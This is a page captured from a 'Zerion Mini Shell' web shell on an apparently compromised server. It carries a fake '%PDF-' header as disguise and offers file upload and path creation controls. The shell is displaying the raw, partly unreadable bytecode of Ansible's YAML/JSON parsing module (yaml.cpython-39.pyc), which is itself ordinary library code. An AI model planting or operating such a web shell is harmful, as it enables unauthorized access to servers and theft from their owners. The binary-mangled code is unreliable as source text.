%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/parsing/utils/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/parsing/utils/__pycache__/yaml.cpython-39.pyc

a

�)gY�@s�ddlmZmZmZeZddlZddlmZddl	m
Z
ddlmZddl
mZddlmZddlmZdd	lmZd
Zdd�Zdd
d�Zddd�ZdS)�)�absolute_import�division�print_functionN)�	YAMLError)�AnsibleParserError)�YAML_SYNTAX_ERROR)�	to_native)�
AnsibleLoader)�AnsibleBaseYAMLObject)�AnsibleJSONDecoder)�	from_yamlcCshd}t|d�r0t�}||jjd|jjdf|_ttt|dd��}dt|�|f}t	||||d��dS)z�
    Optionally constructs an object (AnsibleBaseYAMLObject) to encapsulate the
    file name/position where a YAML exception occurred, and raises an AnsibleParserError
    to display the syntax exception information.
    N�problem_mark�Zproblem�zcWe were unable to read either as JSON nor YAML, these are the errors we got from each:
JSON: %s

%s)�obj�show_content�orig_exc)
�hasattrr
r
�line�columnZansible_posrr�getattrr)�json_exc�yaml_exc�	file_namerZerr_objZn_yaml_syntax_errorZ	n_err_msg�r�>/usr/lib/python3.9/site-packages/ansible/parsing/utils/yaml.py�
_handle_errors	

�rcCs�t|||�}zL|��Wz|��WSty4YS0Sz|��Wq|tyVYq|0n"z|��WntyxYn00dS)zD Implements yaml.safe_load(), except using our custom loader class. N)r	Zget_single_dataZdispose�AttributeError)�streamr�
vault_secrets�loaderrrr�
_safe_load.s ��r!�<string>TFc
Cs�d}zt�|�tj|td�}Wn~ty�}zf|rDtt|�|d��zt|||d�}Wn2ty�}zt	||||�WYd}~n
d}~00WYd}~n
d}~00|S)zl
    Creates a python datastructure from the given data, which can be either
    a JSON or YAML string.
    N)�cls)r)rr)
rZset_secrets�json�loads�	Exceptionrrr!rr)�datarrrZ	json_onlyZnew_datarrrrrr;s
:r)NN)r"TNF)Z
__future__rrr�typeZ
__metaclass__r$ZyamlrZansible.errorsrZansible.errors.yaml_stringsrZansible.module_utils._textrZansible.parsing.yaml.loaderr	Zansible.parsing.yaml.objectsr
Zansible.parsing.ajsonr�__all__rr!rrrrr�<module>s


Zerion Mini Shell 1.0